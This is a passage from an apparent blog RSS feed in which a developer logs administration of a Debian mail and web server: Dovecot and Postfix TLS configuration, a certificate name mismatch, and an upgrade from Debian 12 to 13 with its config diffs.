                                                                &lt;span class="o"&gt;|&lt;/span&gt;  &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;worker&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;pop3&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;                                            &lt;span class="o"&gt;|&lt;/span&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;inet_listener&lt;/span&gt; &lt;span class="n"&gt;pop3&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;                                          &lt;span class="o"&gt;|&lt;/span&gt;  &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;110&lt;/span&gt;                                                  &lt;span class="o"&gt;|&lt;/span&gt;    &lt;span class="n"&gt;unix_listener&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;                                                                  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;                                                                  &lt;span class="p"&gt;}&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;
&lt;span class="n"&gt;ssl_server&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;                                                       &lt;span class="n"&gt;ssl_server&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;cert_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;letsencrypt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;live&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fullchain&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;    &lt;span class="n"&gt;cert_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dovecot&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;private&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dovecot&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pem&lt;/span&gt;
  &lt;span class="n"&gt;dh_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;share&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dovecot&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pem&lt;/span&gt;                           &lt;span class="o"&gt;|&lt;/span&gt;    &lt;span class="n"&gt;key_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dovecot&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;private&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dovecot&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;
  &lt;span class="n"&gt;key_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="c1"&gt;# hidden, use -P to show it                        |  }&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;                                                               &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;
&lt;span class="c1"&gt;# Warnings during conversion:                                   &amp;lt;&lt;/span&gt;
&lt;span class="c1"&gt;# - pruned default: inbox prefix = &amp;#39;&amp;#39;                           &amp;lt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I created a &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;local.conf&lt;/span&gt;&lt;/code&gt; file where I plan to add my own settings. First
attempt:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;ssl_server&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;cert_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;letsencrypt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;live&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fullchain&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pem&lt;/span&gt;
  &lt;span class="n"&gt;key_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;letsencrypt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;live&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;privkey&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pem&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Now Thunderbird reports a new error message:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Unable to communicate securely with peer: requested domain name does not match
the server’s certificate.&lt;/p&gt;
&lt;p&gt;This site attempts to identify itself with invalid information. Wrong Site.
The certificate belongs to a different site, which could mean that someone is
trying to impersonate this site.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;And when I ask TB for details, it seems to report that it received a certificate
for  “example.com”, not “mail.example.com”. So the subdomain “mail.” has been
lost somewhere.&lt;/p&gt;
&lt;p&gt;But &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;certbot&lt;/span&gt; &lt;span class="pre"&gt;certificates&lt;/span&gt;&lt;/code&gt; on laudate says that it does use
mail.example.com:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Certificate&lt;/span&gt; &lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;
  &lt;span class="n"&gt;Serial&lt;/span&gt; &lt;span class="n"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;6056e09415&lt;/span&gt;&lt;span class="n"&gt;ac60c5115699b575c5ac3989b&lt;/span&gt;
  &lt;span class="n"&gt;Key&lt;/span&gt; &lt;span class="n"&gt;Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;RSA&lt;/span&gt;
  &lt;span class="n"&gt;Domains&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;
  &lt;span class="n"&gt;Expiry&lt;/span&gt; &lt;span class="n"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;08&lt;/span&gt; &lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;VALID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;85&lt;/span&gt; &lt;span class="n"&gt;days&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;Certificate&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;letsencrypt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;live&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fullchain&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pem&lt;/span&gt;
  &lt;span class="n"&gt;Private&lt;/span&gt; &lt;span class="n"&gt;Key&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;letsencrypt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;live&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;privkey&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pem&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I gave up here because I can actually live without dovecot and because there are
more urgent things to do right now, and last but not least because dovecot is
the main suspect culprit for  #6733 (laudate server not responding and kswapd0
CPU usage at 200%). I said &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;apt&lt;/span&gt; &lt;span class="pre"&gt;remove&lt;/span&gt; &lt;span class="pre"&gt;dovecot-pop3d&lt;/span&gt;&lt;/code&gt; to uninstall it. I
also deleted two users dovecot and dovenull.&lt;/p&gt;
&lt;p&gt;P.S. But the next day, after realizing that dovecot is innocent, I reinstalled
it. I had to manually re-create the two users dovecot and dovenull by saying:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# adduser --disabled-login --no-create-home dovecot&lt;/span&gt;
&lt;span class="c1"&gt;# adduser --disabled-login --no-create-home dovenull&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2026/0413.html</guid><pubDate>Mon, 13 Apr 2026 00:00:00 +0000</pubDate></item><item><title>Friday, April 10, 2026</title><link>https://luc.lino-framework.org/blog/2026/0410.html</link><description>&lt;section id="friday-april-10-2026"&gt;
&lt;h1&gt;Friday, April 10, 2026&lt;a class="headerlink" href="#friday-april-10-2026" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Working for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/6733"&gt;#6733&lt;/a&gt; (laudate server not responding and kswapd0 CPU usage
at 200%).&lt;/p&gt;
&lt;p&gt;Today I upgraded laudate from Debian 12 to 13&lt;/p&gt;
&lt;p&gt;I made a snapshot of &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;ets&lt;/span&gt;&lt;/code&gt;, the only production Lino site on laudate.&lt;/p&gt;
&lt;p&gt;Here is a list of the websites on laudate:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ ll /etc/nginx/sites-enabled/
total 16
drwxr-xr-x 2 root root 4096  4. dets  07:15 .
drwxr-xr-x 8 root root 4096 10. apr   20:37 ..
-rw-rw-r-- 1 root root  275  3. dets   2024 default.conf
-rw-rw-r-- 2 root root 2107  7. dets   2023 ets.conf
lrwxrwxrwx 1 root root   36 31. dets   2022 jane.conf -&amp;gt; /etc/nginx/sites-available/jane.conf
lrwxrwxrwx 1 root root   42 18. märts  2021 laudate.ee.conf -&amp;gt; /etc/nginx/sites-available/laudate.ee.conf
lrwxrwxrwx 1 root root   48 21. sept   2021 lists.laudate.ee.conf -&amp;gt; /etc/nginx/sites-available/lists.laudate.ee.conf
lrwxrwxrwx 1 root root   49  2. okt    2021 sinod.katoliku.ee.conf -&amp;gt; /etc/nginx/sites-available/sinod.katoliku.ee.conf
lrwxrwxrwx 1 root root   39  1. jaan   2023 welcht1.conf -&amp;gt; /etc/nginx/sites-available/welcht1.conf
lrwxrwxrwx 1 root root   39  1. jaan   2023 weleup1.conf -&amp;gt; /etc/nginx/sites-available/weleup1.conf
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I removed the obsolete sites jane, lists and weleup1.&lt;/p&gt;
&lt;p&gt;I then followed the instructions at
&lt;a class="reference external" href="https://linuxconfig.org/how-to-upgrade-debian-to-latest-version"&gt;https://linuxconfig.org/how-to-upgrade-debian-to-latest-version&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The &lt;cite&gt;apt update&lt;/cite&gt; gives some warnings:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt update
Hit:1 http://deb.debian.org/debian bookworm InRelease
Hit:2 http://security.debian.org bookworm-security InRelease
Hit:3 http://deb.debian.org/debian bookworm-updates InRelease
Hit:4 http://mirror.hetzner.de/debian/packages buster InRelease
Hit:5 http://mirror.hetzner.de/debian/packages buster-updates InRelease
Hit:6 http://mirror.hetzner.de/debian/packages buster-backports InRelease
Ign:7 http://mirror.hetzner.de/debian/security buster/updates InRelease
Hit:8 http://apt.postgresql.org/pub/repos/apt bullseye-pgdg InRelease
Err:9 http://mirror.hetzner.de/debian/security buster/updates Release
  404  Not Found [IP: 2a01:4f8:0:1::1:97 80]
Hit:10 https://packages.groonga.org/debian bullseye InRelease
Reading package lists... Done
E: The repository &amp;#39;http://mirror.hetzner.de/debian/security buster/updates Release&amp;#39; no longer has a Release file.
N: Updating from such a repository can&amp;#39;t be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.
W: http://apt.postgresql.org/pub/repos/apt/dists/bullseye-pgdg/InRelease: Key is stored in legacy trusted.gpg keyring (/etc/apt/trusted.gpg), see the DEPRECATION section in apt-key(8) for details.
N: Repository &amp;#39;Debian bookworm&amp;#39; changed its &amp;#39;non-free component&amp;#39; value from &amp;#39;non-free&amp;#39; to &amp;#39;non-free non-free-firmware&amp;#39;
N: More information about this can be found online in the Release notes at: https://www.debian.org/releases/bookworm/amd64/release-notes/ch-information.html#non-free-split
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I removed the obsolete files for groonga and hetzner from the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/apt/sources.d&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I answered to keep current version for the following config files:&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;/etc/bash.bashrc&lt;/div&gt;
&lt;div class="line"&gt;/etc/crontab&lt;/div&gt;
&lt;div class="line"&gt;/etc/monit/monitrc&lt;/div&gt;
&lt;div class="line"&gt;/etc/nginx/nginx.conf&lt;/div&gt;
&lt;div class="line"&gt;/etc/default/opendkim&lt;/div&gt;
&lt;div class="line"&gt;/etc/redis/redis.conf&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;For &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/ssh/sshd_config&lt;/span&gt;&lt;/code&gt; and, of course, for
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/dovecot/dovecot.conf&lt;/span&gt;&lt;/code&gt;, I decided to install the package maintainer’s
version.&lt;/p&gt;
&lt;p&gt;Also for &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/default/grub&lt;/span&gt;&lt;/code&gt; I took the new version because AFAIK we never
did any important modification to this. Here is the diff before upgrading:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;│  GRUB_DEFAULT=0
│  GRUB_TIMEOUT=5
│ -GRUB_DISTRIBUTOR=`lsb_release -i -s 2&amp;gt; /dev/null || echo Debian`
│ +GRUB_DISTRIBUTOR=`( . /etc/os-release &amp;amp;&amp;amp; echo ${NAME} )`
│  GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;consoleblank=0 systemd.show_status=true elevator=noop console=tty1 console=ttyS0&amp;quot;
│  GRUB_CMDLINE_LINUX=&amp;quot;&amp;quot;
│
│ +# If your computer has multiple operating systems installed, then you
│ +# probably want to run os-prober. However, if your computer is a host
│ +# for guest OSes installed via LVM or raw disk devices, running
│ +# os-prober can cause damage to those guest OSes as it mounts
│ +# filesystems to look for things.
│ +#GRUB_DISABLE_OS_PROBER=false
│ +
│  # Uncomment to enable BadRAM filtering, modify to suit your needs
│  # This works with Linux (no patch required) and with any kernel that obtains
│  # the memory map information from GRUB (GNU Mach, kernel of FreeBSD ...)
│  #GRUB_BADRAM=&amp;quot;0x01234567,0xfefefefe,0x89abcdef,0xefefefef&amp;quot;
│
│ -# Uncomment to disable graphical terminal (grub-pc only)
│ -GRUB_TERMINAL=console
│ +# Uncomment to disable graphical terminal
│ +#GRUB_TERMINAL=console
│
│  # The resolution used on graphical terminal
│ -# note that you can use only modes which your graphic card supports via VBE
│ -# you can see them in real GRUB with the command `vbeinfo&amp;#39;
│ +# note that you can use only modes which your graphic card supports via VBE/GOP/UGA
│ +# you can see them in real GRUB with the command `videoinfo&amp;#39;
│  #GRUB_GFXMODE=640x480
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Some issues afterwards:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;18307&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postlog&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;spool&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;certs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;GlobalSign_ECC_Root_CA_&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;_R4&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pem&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;certs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;GlobalSign_ECC_Root_CA_&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;_R4&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pem&lt;/span&gt; &lt;span class="n"&gt;differ&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I said “postconf compatibility_level=3.6”:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# postconf compatibility_level=3.6&lt;/span&gt;
&lt;span class="c1"&gt;# postfix reload&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sbin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postconf&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cf&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;support&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;parameter&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;smtp_use_tls&amp;quot;&lt;/span&gt; &lt;span class="n"&gt;will&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;instead&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;specify&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;smtp_tls_security_level&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sbin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postconf&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cf&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;support&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;parameter&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;smtpd_use_tls&amp;quot;&lt;/span&gt; &lt;span class="n"&gt;will&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;instead&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;specify&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;smtpd_tls_security_level&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;script&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;refreshing&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;Postfix&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt; &lt;span class="n"&gt;system&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And I then did as the warnings told me:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# smtp_use_tls=yes&lt;/span&gt;
&lt;span class="c1"&gt;# smtpd_use_tls=yes&lt;/span&gt;

&lt;span class="n"&gt;smtp_tls_security_level&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;may&lt;/span&gt;
&lt;span class="n"&gt;smtpd_tls_security_level&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;may&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Thunderbird said “An error occurred while sending mail: Outgoing server (SMTP)
error. The server responded:  TLS not available due to local problem.” – this
was because i had a typo in the &lt;cite&gt;smtpd_tls_cert_file&lt;/cite&gt; filename. A “systemctl
status postfix” told me this in a funny way:&lt;/p&gt;
